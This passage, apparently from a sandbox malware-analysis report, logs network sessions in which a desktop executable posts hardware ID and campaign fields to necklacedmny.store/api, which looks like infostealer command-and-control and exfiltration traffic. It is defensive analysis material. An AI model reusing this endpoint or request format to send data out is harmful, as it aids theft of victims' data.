cfL4;desc="?proto=TCP&rtt=1552&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1832911&cwnd=251&unsent_bytes=0&cid=feb94f9099f05941&ts=736&x=0"
2024-10-31 01:08:01 UTC	352	IN	Data Raw: 34 34 36 63 0d 0a 74 58 55 4a 56 46 46 56 72 5a 36 54 54 73 50 59 70 52 57 58 56 74 45 61 75 4e 4a 59 56 65 67 72 57 43 57 39 77 73 51 70 57 74 48 4f 56 33 39 32 61 32 47 42 76 4f 41 72 34 65 4c 52 5a 2b 49 7a 2f 54 6a 5a 74 6e 70 76 6a 6b 6f 30 56 74 6a 75 35 6c 38 33 38 34 38 54 61 44 67 69 4d 49 47 38 39 6a 62 68 34 76 35 75 74 54 4f 2f 4f 49 4c 77 50 54 2b 4b 53 6a 52 48 33 4b 6d 72 57 54 61 79 33 52 6c 75 50 44 51 32 79 66 2f 2f 49 36 61 39 77 48 54 39 4f 4c 68 33 30 4c 39 36 65 63 70 4f 49 67 65 48 34 49 6c 4d 4c 72 44 34 46 48 6f 2f 63 79 69 42 35 62 45 72 72 66 71 66 4e 2f 59 7a 73 33 62 65 74 6a 4d 39 67 45 4d 38 52 74 6d 6f 74 45 41 38 75 64 30 58 62 54 30 2b 50 39 33 79 39 53 53 74 75 38 70 30 74 58 72 7a 66 38 4c 77 59 6e 66 5a 65 7a 6c 57 7a Data Ascii: 446ctXUJVFFVrZ6TTsPYpRWXVtEauNJYVegrWCW9wsQpWtHOV392a2GBvOAr4eLRZ+Iz/TjZtnpvjko0Vtju5l83848TaDgiMIG89jbh4v5utTO/OILwPT+KSjRH3KmrWTay3RluPDQ2yf//I6a9wHT9OLh30L96ecpOIgeH4IlMLrD4FHo/cyiB5bErrfqfN/Yzs3betjM9gEM8RtmotEA8ud0XbT0+P93y9SStu8p0tXrzf8LwYnfZezlWz
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 67 79 4f 73 2f 75 2b 53 65 71 76 39 56 38 2f 44 6d 2b 65 4e 65 36 4e 54 53 4b 54 6a 42 4e 30 4b 71 69 52 6a 57 31 31 78 63 72 65 48 4d 77 31 37 79 70 62 49 4b 2f 31 33 44 35 49 76 46 43 6d 71 39 30 4c 73 70 4f 4e 67 65 48 34 4b 35 4f 4f 37 44 63 47 47 67 2b 4f 43 58 50 37 76 63 68 70 4b 6a 42 63 76 73 2b 73 47 72 51 76 6a 77 30 67 30 49 7a 51 74 69 6b 35 67 56 34 74 4d 39 58 4d 33 59 53 4f 73 54 77 2b 7a 75 68 2b 74 67 35 37 48 53 30 64 4a 72 6f 65 6a 4f 4c 54 54 74 44 30 61 36 69 52 7a 36 39 32 68 68 74 50 44 4d 77 78 66 54 35 4c 61 79 78 79 48 66 77 4f 62 64 2b 31 72 45 2f 64 38 51 4a 50 56 2b 66 2b 4f 5a 6c 50 37 44 46 56 56 34 31 50 54 6e 49 36 72 45 7a 37 36 4f 48 63 50 6c 30 36 7a 6a 55 74 54 55 6c 69 31 73 2f 53 63 32 73 6f 30 30 31 73 4e 6b 58 62 Data Ascii: gyOs/u+Seqv9V8/Dm+eNe6NTSKTjBN0KqiRjW11xcreHMw17ypbIK/13D5IvFCmq90LspONgeH4K5OO7DcGGg+OCXP7vchpKjBcvs+sGrQvjw0g0IzQtik5gV4tM9XM3YSOsTw+zuh+tg57HS0dJroejOLTTtD0a6iRz692hhtPDMwxfT5LayxyHfwObd+1rE/d8QJPV+f+OZlP7DFVV41PTnI6rEz76OHcPl06zjUtTUli1s/Sc2so001sNkXb
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 49 36 72 45 7a 37 36 4f 48 63 50 6c 30 36 7a 6a 57 75 54 6f 38 67 45 30 36 51 4e 4b 6c 70 55 77 37 76 74 41 64 5a 54 45 33 4f 38 62 78 39 79 79 6d 76 73 4a 6c 38 44 32 2f 64 4a 72 2b 65 6a 43 53 43 57 49 48 38 4b 65 77 53 42 65 77 78 68 34 72 4b 58 30 75 6a 2f 76 39 62 50 6e 36 77 48 4c 39 50 37 56 77 32 71 49 2f 4f 59 46 49 4d 45 48 65 72 61 70 4e 4f 4c 4c 58 45 57 63 32 4e 44 44 64 37 76 51 71 73 37 43 48 4f 62 55 7a 71 7a 69 43 38 41 77 6e 6e 56 67 73 42 65 71 6a 71 45 55 2f 70 5a 63 49 4a 53 39 7a 4d 4d 4f 38 71 57 79 71 75 73 74 77 2f 54 4b 33 63 4e 57 2f 4d 79 57 4c 52 54 52 56 32 4b 43 76 52 54 65 2f 33 68 70 73 4f 7a 67 39 77 76 6a 32 4c 65 48 30 68 33 44 74 64 4f 73 34 37 4b 41 33 4f 36 52 43 4e 6b 36 66 76 2b 68 53 65 4c 54 62 56 7a 4e 32 4e 7a Data Ascii: I6rEz76OHcPl06zjWuTo8gE06QNKlpUw7vtAdZTE3O8bx9yymvsJl8D2/dJr+ejCSCWIH8KewSBewxh4rKX0uj/v9bPn6wHL9P7Vw2qI/OYFIMEHerapNOLLXEWc2NDDd7vQqs7CHObUzqziC8AwnnVgsBeqjqEU/pZcIJS9zMMO8qWyqustw/TK3cNW/MyWLRTRV2KCvRTe/3hpsOzg9wvj2LeH0h3DtdOs47KA3O6RCNk6fv+hSeLTbVzN2Nz
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 4b 4b 53 2f 77 33 44 78 4d 72 77 34 6c 50 41 39 4c 38 6f 52 65 6d 6a 34 6c 65 52 71 41 76 50 49 57 58 4a 32 4e 44 75 50 70 4c 45 67 6f 72 62 50 65 50 4d 39 76 33 4c 54 75 7a 59 38 6a 6b 55 7a 51 74 6d 68 6f 30 34 35 74 39 73 64 62 54 55 77 4f 4d 44 7a 2b 57 7a 76 2b 73 42 76 74 57 7a 7a 58 63 32 37 4e 44 48 4b 56 6e 52 65 6e 36 65 71 43 32 44 7a 32 78 35 74 4d 44 59 37 7a 76 72 35 4b 61 6d 2b 78 6e 48 7a 4e 37 78 38 33 37 45 31 4d 34 5a 48 4d 45 62 65 72 4b 31 45 4d 37 61 58 57 53 73 78 4b 33 65 58 76 4d 41 76 74 36 33 58 65 37 55 72 2f 57 47 61 74 7a 5a 33 30 67 6b 37 56 64 57 71 71 45 34 33 74 74 51 59 62 44 73 31 4f 38 58 31 2b 53 71 75 73 39 56 30 2b 54 71 30 64 74 61 2b 4e 7a 32 4a 52 48 6f 4a 6e 36 65 2b 43 32 44 7a 2b 78 42 6d 47 44 67 37 79 4c 7a Data Ascii: KKS/w3DxMrw4lPA9L8oRemj4leRqAvPIWXJ2NDuPpLEgorbPePM9v3LTuzY8jkUzQtmho045t9sdbTUwOMDz+Wzv+sBvtWzzXc27NDHKVnRen6eqC2Dz2x5tMDY7zvr5Kam+xnHzN7x837E1M4ZHMEberK1EM7aXWSsxK3eXvMAvt63Xe7Ur/WGatzZ30gk7VdWqqE43ttQYbDs1O8X1+Squs9V0+Tq0dta+Nz2JRHoJn6e+C2Dz+xBmGDg7yLz
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 6f 6b 33 38 69 7a 7a 49 4a 71 47 50 53 65 61 53 6e 68 32 79 61 4f 77 51 44 57 2f 6c 77 67 6c 4c 33 4d 77 77 37 79 70 62 4b 65 31 7a 6e 54 36 4e 62 70 30 31 37 55 7a 4d 6f 74 50 50 6b 33 56 6f 4b 42 4e 4f 62 62 64 46 47 6f 38 4f 6a 44 48 2b 2f 49 2b 34 66 53 48 63 4f 31 30 36 7a 6a 7a 74 79 67 35 6d 67 6b 6c 43 63 62 67 6f 55 64 34 36 35 63 54 59 54 6b 33 4d 4d 50 36 39 43 71 73 75 38 68 32 39 54 75 33 63 39 4f 32 4f 7a 71 50 52 44 35 56 31 61 75 70 52 7a 47 2f 32 6c 63 6c 64 6a 51 76 6a 36 53 78 48 61 79 30 79 58 44 6a 64 4b 77 32 77 2f 41 39 4f 38 6f 52 65 6b 62 54 72 36 56 45 4f 37 44 57 48 58 6b 6b 50 7a 37 48 2b 66 30 6e 72 37 7a 56 63 66 6f 39 73 48 76 54 74 7a 49 37 67 45 6f 39 42 35 48 67 6f 56 4e 34 36 35 63 30 66 43 59 2b 64 39 43 79 36 47 79 6d Data Ascii: ok38izzIJqGPSeaSnh2yaOwQDW/lwglL3Mww7ypbKe1znT6Nbp017UzMotPPk3VoKBNObbdFGo8OjDH+/I+4fSHcO106zjztyg5mgklCcbgoUd465cTYTk3MMP69Cqsu8h29Tu3c9O2OzqPRD5V1aupRzG/2lcldjQvj6SxHay0yXDjdKw2w/A9O8oRekbTr6VEO7DWHXkkPz7H+f0nr7zVcfo9sHvTtzI7gEo9B5HgoVN465c0fCY+d9Cy6Gym
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 4d 36 6f 58 33 63 76 7a 55 2b 67 30 30 79 52 4e 2b 6b 6f 6b 77 39 73 4e 73 63 62 44 55 38 4d 38 62 79 2b 43 50 68 39 49 64 77 37 58 54 72 4f 50 75 72 4f 54 75 48 43 53 55 4a 78 75 43 68 52 33 6a 72 6c 78 74 6c 4d 7a 4d 39 79 66 6a 30 4b 71 75 2f 78 33 7a 32 4f 37 64 2b 33 72 38 36 50 49 4e 49 50 45 4c 56 71 36 42 47 4f 37 58 52 56 79 56 32 4e 43 2b 50 70 4c 45 4d 75 72 66 4c 63 4c 55 72 2f 57 47 61 74 7a 5a 33 30 67 6b 78 53 39 75 6e 70 6b 59 37 75 39 49 54 59 54 4d 7a 50 39 33 30 38 53 75 7a 71 4d 64 2b 38 44 69 77 65 4e 36 32 4d 7a 47 4a 54 58 6f 4a 6e 36 65 2b 43 32 44 7a 2b 68 74 73 48 7a 51 73 6a 2b 4f 2f 4e 65 47 39 79 7a 65 74 64 4c 4a 7a 30 4c 38 33 4e 49 78 4b 4d 55 4c 56 6f 61 46 44 4e 61 48 55 47 47 51 79 4d 7a 6a 4a 2b 76 41 6a 70 37 33 4f 64 Data Ascii: M6oX3cvzU+g00yRN+kokw9sNscbDU8M8by+CPh9Idw7XTrOPurOTuHCSUJxuChR3jrlxtlMzM9yfj0Kqu/x3z2O7d+3r86PINIPELVq6BGO7XRVyV2NC+PpLEMurfLcLUr/WGatzZ30gkxS9unpkY7u9ITYTMzP9308SuzqMd+8DiweN62MzGJTXoJn6e+C2Dz+htsHzQsj+O/NeG9yzetdLJz0L83NIxKMULVoaFDNaHUGGQyMzjJ+vAjp73Od
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 2f 35 49 34 64 49 59 42 4f 4b 6b 44 49 72 2b 59 46 65 4c 79 58 54 31 4a 32 4f 6a 44 55 37 65 63 68 73 62 32 48 53 4c 74 30 71 7a 69 43 38 41 38 30 68 45 63 39 55 63 37 74 67 56 30 79 74 4d 63 51 66 44 6c 7a 65 59 2f 36 73 58 54 79 39 49 64 7a 35 48 54 72 4b 49 6a 72 62 32 54 64 47 57 68 59 6b 62 6e 6d 58 58 6a 72 68 56 6b 72 4a 48 4e 76 6a 37 76 79 50 72 4f 38 78 47 48 32 63 34 31 47 2f 61 6f 33 4d 5a 31 59 42 48 6e 59 75 71 74 4e 4c 36 4b 62 41 6d 67 34 50 54 44 5a 76 4c 39 73 72 76 71 66 54 72 56 38 38 30 65 55 38 43 4a 33 30 67 6b 50 52 4e 47 75 6f 56 30 70 2f 76 41 4e 5a 6a 41 6b 4a 6f 2b 79 73 53 72 68 34 70 63 35 74 54 43 69 4f 49 4c 67 61 47 7a 66 47 6d 30 58 6a 62 2f 6f 55 6e 69 6c 6c 30 38 35 65 48 4d 6c 6a 36 53 78 61 36 4b 6f 31 58 48 32 49 72 Data Ascii: /5I4dIYBOKkDIr+YFeLyXT1J2OjDU7echsb2HSLt0qziC8A80hEc9Uc7tgV0ytMcQfDlzeY/6sXTy9Idz5HTrKIjrb2TdGWhYkbnmXXjrhVkrJHNvj7vyPrO8xGH2c41G/ao3MZ1YBHnYuqtNL6KbAmg4PTDZvL9srvqfTrV880eU8CJ30gkPRNGuoV0p/vANZjAkJo+ysSrh4pc5tTCiOILgaGzfGm0Xjb/oUnill085eHMlj6Sxa6Ko1XH2Ir
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 65 6d 2f 4b 66 44 6c 4a 30 61 65 77 57 6e 57 55 32 52 42 71 49 43 4d 67 77 4c 79 2f 62 4b 66 36 6e 79 57 37 64 4c 64 70 6d 75 68 71 5a 64 45 63 61 52 43 50 38 72 6b 46 49 66 50 42 56 7a 4e 6b 66 58 66 64 76 4b 6c 73 35 72 6e 56 5a 66 4d 33 70 58 75 64 6a 67 51 51 68 45 34 37 55 63 2b 33 71 51 51 57 68 66 59 70 56 53 4d 77 4f 63 48 37 35 7a 33 68 39 49 64 34 74 57 79 4b 4f 4a 4c 77 42 58 6e 4b 55 58 6f 66 6e 35 57 6c 52 54 61 30 77 51 59 6d 45 54 30 77 7a 75 72 68 4f 36 37 31 36 55 48 55 64 50 30 34 33 50 42 69 5a 63 51 4a 50 6c 61 66 2b 50 59 5a 59 2b 61 45 51 44 74 6b 4c 48 6e 57 76 4f 64 73 2b 65 69 4a 4e 2b 64 30 36 7a 69 64 73 79 67 6c 6a 45 6f 73 52 4a 69 65 6d 47 77 32 74 4e 59 42 65 7a 73 2f 46 73 7a 74 2b 78 4b 66 72 38 52 35 2b 7a 4f 6c 61 5a 72 Data Ascii: em/KfDlJ0aewWnWU2RBqICMgwLy/bKf6nyW7dLdpmuhqZdEcaRCP8rkFIfPBVzNkfXfdvKls5rnVZfM3pXudjgQQhE47Uc+3qQQWhfYpVSMwOcH75z3h9Id4tWyKOJLwBXnKUXofn5WlRTa0wQYmET0wzurhO6716UHUdP043PBiZcQJPlaf+PYZY+aEQDtkLHnWvOds+eiJN+d06zidsygljEosRJiemGw2tNYBezs/Fszt+xKfr8R5+zOlaZr
2024-10-31 01:08:01 UTC	1369	IN	Data Raw: 30 51 2b 55 63 71 6a 74 6b 77 47 6a 66 6f 46 62 43 59 77 64 65 50 37 2f 43 43 66 68 50 42 6d 38 69 54 78 58 74 6d 6d 4f 58 66 45 43 53 49 48 68 2b 43 4c 57 54 2b 6a 31 46 56 48 4d 54 34 37 6a 2b 4f 2f 4e 65 47 73 68 79 2b 6d 65 76 4e 71 6d 75 68 36 63 49 6c 62 4b 45 48 63 74 71 55 4d 42 6f 33 36 42 57 77 6d 4d 48 58 2b 38 66 55 36 74 4c 6e 58 63 4d 73 4b 6e 6d 72 64 6f 44 6c 31 72 33 4e 34 64 73 6d 6a 70 6b 55 2f 38 35 6c 58 63 33 5a 72 64 2b 4c 75 39 6a 79 69 2b 4f 4a 4e 74 77 57 6c 65 39 71 2b 50 58 65 56 42 79 4d 48 79 65 44 2b 47 48 62 7a 78 56 63 7a 64 6e 51 35 77 76 33 79 49 71 4b 6f 31 58 48 32 49 72 41 2f 35 49 34 56 50 49 74 5a 4e 31 62 53 70 4c 42 31 42 70 54 52 45 6d 77 49 44 51 44 65 2b 2b 46 75 68 37 6e 52 64 4c 56 36 38 32 43 61 36 48 6f 51 Data Ascii: 0Q+UcqjtkwGjfoFbCYwdeP7/CCfhPBm8iTxXtmmOXfECSIHh+CLWT+j1FVHMT47j+O/NeGshy+mevNqmuh6cIlbKEHctqUMBo36BWwmMHX+8fU6tLnXcMsKnmrdoDl1r3N4dsmjpkU/85lXc3Zrd+Lu9jyi+OJNtwWle9q+PXeVByMHyeD+GHbzxVczdnQ5wv3yIqKo1XH2IrA/5I4VPItZN1bSpLB1BpTREmwIDQDe++Fuh7nRdLV682Ca6HoQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:02 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-31 01:08:02 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:08:03 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1qu8tta4fk1h7r8opmmnddmpu3; expires=Sun, 23-Feb-2025 18:54:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kUhJ5UBIkpt%2BUi7y%2BuhR%2FJA1%2BQoY622P%2Fd1CszqPWdF6gIC3AcqJlqMqb0VWcHKEjiext4Ix2DszDUQNP8Zw5iiHmcizMlsJhhjItSlLaKtuceLXJPIkgmGyb7Tuc%2F1fAw54f0M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc06afd3346d7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2344939&cwnd=251&unsent_bytes=0&cid=e06d14ef5ad19af5&ts=832&x=0"
2024-10-31 01:08:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:08:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:03 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-31 01:08:03 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:08:04 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ae1r9mm8umvm1g8hvrf52uk7r7; expires=Sun, 23-Feb-2025 18:54:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f23FzcmSf9kamFTIexqvNRzgSx8ynXh8H1SXDpb%2BaqClrCvodX%2FTH8Oma8tusNoAEmbBFvryjjIX%2BdZ4WcjEqDdKi4%2FU1Je5nYJXbDD0RQaWshCZ6%2BVtt0wmwyZIDToUV4ZvKKc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc0748bd945f4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=1613370&cwnd=251&unsent_bytes=0&cid=32ff90fa9d3d065d&ts=735&x=0"
2024-10-31 01:08:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:08:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-31 01:08:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:08:05 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-31 01:08:06 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjfl7f4pgvrr62c2dtghn01sdr; expires=Sun, 23-Feb-2025 18:54:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FWn0c84iYlxUZ2dCUk0oYzEIo5lFD5jnz2kMdci6o8NdpFwPnUAKVdmwoWK5Ec1wum8XV2LXBocVa0Fo%2F6BN6reBZowOcQUzaBNA9XFk3%2BmSwgr0ioeKk%2FLnRMW3fgjrqv93HSs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc07efc982cd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2437710&cwnd=251&unsent_bytes=0&cid=093c2a93819a9937&ts=696&x=0"
2024-10-31 01:08:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:08:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	188.114.97.3	443	7112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:08:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1262 Host: necklacedmny.store
2024-10-31 01:08:07 UTC	1262	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: 